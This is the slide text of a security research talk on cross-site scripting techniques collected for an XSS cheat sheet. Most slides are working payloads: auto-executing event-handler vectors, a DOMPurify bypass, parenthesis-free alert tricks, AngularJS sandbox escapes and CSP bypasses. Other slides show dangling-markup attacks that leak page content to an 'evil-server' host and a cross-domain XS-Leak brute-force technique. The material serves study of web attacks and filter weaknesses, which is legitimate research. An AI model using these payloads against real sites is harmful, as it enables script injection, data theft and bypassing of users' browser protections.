This talk shares the various techniques I found whilst building the XSS cheat sheet. It contains auto executing vectors, AngularJS CSP bypasses and dangling markup attacks.
2. • I ❤ hacking JavaScript
• I'm a researcher at PortSwigger
• Follow me on Twitter @garethheyes
About me
<a href=# name=x id=x>Click me on IE11</a>
<script event="onclick(blah)<wtfbbq>{}" for=x>
blah.view.alert(1)
</script>
<script event=onload for=window>
return alert(2)};{
</script>
8. • Edge bug causes title mutate
• E.g.
in: <title><img>
out:<title><img>
• I used this bug to bypass DOMPurify
• in: <x/><title></title><img src=1
onerror=alert(1)>
out: <title></title><img src="1">
• What about double HTML encoded?
• in: <x/><title>&lt;/title&gt;&lt;img src=1
onerror=alert(1)&gt;
out: <title></title><img src=1 onerror=alert(1)></title>
Hacking filters
13. • Everyone knows about alert`1`
• I found you could do: onerror=alert;throw 1
• throw accepts a JavaScript expression
XSS without parenthesis and semi-colons
14. • JavaScript expressions
• x = (1,2);
x//2
• Right hand side of expression is returned
XSS without parenthesis and semi-colons
15. throw onerror=alert,'some string',
123,'haha'
• First part of the expression is executed sets the error handler
• Last part of the expression is sent to exception handler
XSS without parenthesis and semi-colons
16. • How can you eval a string?
• Prefixed with uncaught
• Change it to an assignment
throw onerror=eval,"=alertx281x29"
//Uncaught = alert(1)
XSS without parenthesis and semi-colons
19. • XSS in hidden input
• Unexploitable when <> is filtered?
<input type="hidden" value="XSS HERE">
• Access keys to the rescue!
• "The accesskey global attribute provides a hint for generating a
keyboard shortcut for the current element." mdn
Hidden inputs
20. • Firefox allows onclick event + access keys
• <input type="hidden" accesskey="x"
onclick="alert(1)">
(ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
• Firefox only but the technique can be used on Chrome
Hidden inputs
22. • Access keys can be used on Chrome
• Hidden inputs don't work
• Other elements link, meta etc do
<link rel="canonical" accesskey="X"
onclick="alert(1)" />
(ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Link elements
24. • Uses incomplete markup to extract parts of the page
• <img src='//evil-server?
• HTML parser finds an incomplete src attribute
• Looks for ' to close the attribute
Dangling markup
26. • Chrome protects against dangling markup attacks
• "Resource requests whose URLs contained both removed
whitespace (`n`, `r`, `t`) characters and less-than characters
(`<`) are blocked." https://www.chromestatus.com/feature/
5735596811091968
• CSP will also block external requests if specified in the policy
Dangling markup
27. • Bypassing restrictive CSP & Chrome mitigations
• CSP: default-src 'none'; base-uri 'none';
• <base target="
• Sets target for every link
• The markup will get passed in the window name
Dangling markup
28. • <a href=//evil-server><font size=100 color=red>You
must click me</font></a><base target="
• Anchor points to evil server
• HTML styling is used to get round no inline styles
• Target consumes all markup until the " is found
• Clicking the link loads attackers server which reads
window.name that contains the consumed markup
Dangling markup
35. • <style>
@keyframes x{
}
</style>
<b style="animation-name:x"
onanimationstart="alert(1)"></b>
<b style="-webkit-animation-name:x"
onanimationstart="alert(1)"></b>
• Discovered by the legend Mario Heiderich
• Executes on every tag but requires an injected style
Auto executing vectors
36. • ontransitionend works on Chrome
• <style>
:target {
color:red;
}
</style>
<x id=x style="transition:color 1s"
ontransitionend=alert(1)>
• URL: page.html#x
Auto executing vectors
37. • ontransitionrun works on Firefox
• <style>
:target {
color:red;
}
</style>
<x id=y style="transition:color 2s"
ontransitionrun=alert(1)>
• URL: page.html
• URL: page.html#x
Auto executing vectors
43. • Standard AngularJS sandbox escape:
{{constructor.constructor('alert(1)')()}}
• Can we make it shorter?
• {{$eval.constructor('alert(1)')()}}
• Shorter still?
{{$on.constructor('alert(1)')()}}
//Credits Lewis Ardern
AngularJS
44. • What if you can't call $eval? e.g. in a orderBy filter
• Can't use strings
• {{toString().constructor.prototype.charAt=[].join;
[1,2]|
orderBy:toString().constructor.fromCharCode(120,61,9
7,108,101,114,116,40,49,41)}}
AngularJS
45. • CSP bypass for all versions of AngularJS
• 63 characters!
• <input id=x ng-focus=$event.path|
orderBy:'CSS&&[1].map(alert)'>
• page.html#x
• Cross browser:
<input id=x ng-focus=$event.composedPath()|
orderBy:'CSS&&[1].map(alert)'>
AngularJS
47. • Focus event fires for iframe, input etc
• Can we detect if this happens cross domain?
• If it can be detected then id's can be bruteforced x-domain
XS-Leak
48. • onblur event will be fired when cross domain element is
focused
• Hash can be checked multiple times with only 1 http request
• Requires a frame-able page
XS-Leak
49. XS-Leak
Cross domain input element
Same origin onblur event
Same origin, shows current position
<input id=1337>
<body onblur="if(!window.found){window.found=true;alert('Found:
'+pos)}">
<div id=y></div>
52. • "The tabindex global attribute indicates if its element can be
focused, and if/where it participates in sequential keyboard
navigation" mdn
• <a onfocus=alert(1) id=x tabindex=1>
• <div onfocus=alert(1) id=x tabindex=1>
• <xss onfocus=alert(1) id=x tabindex=1>
• page.html#x
Auto execute on every tag?
53. • Works on pretty much every tag
• Link works but requires display block
• <link onfocus=alert(1) id=x tabindex=1
style=display:block>
• Link works in the body but not head
Auto execute on every tag?
54. • <a onfocusin=alert(1) id=x tabindex=1>
• <div onfocusin=alert(1) id=x tabindex=1>
• <xss onfocusin=alert(1) id=x tabindex=1>
• <xss onfocusout=alert(1) id=x tabindex=1><input
autofocus>
• page.html#x
Auto execute on every tag?
59. Questions?
thanks and shout outs to
@garethheyes
James Kettle, Mario Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben
Hayak, Alex Inführ, Mathias Karlsson, Jan Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a,
Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol,
jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay, Superhei, Michal Zalewski, Renaud
Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus
Niemietz, Soroush Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski
<img src=1 onerror="alert('Wait. What. IE/Edge')};while(true)sendMeToTheJSBlackHole();function lol(){">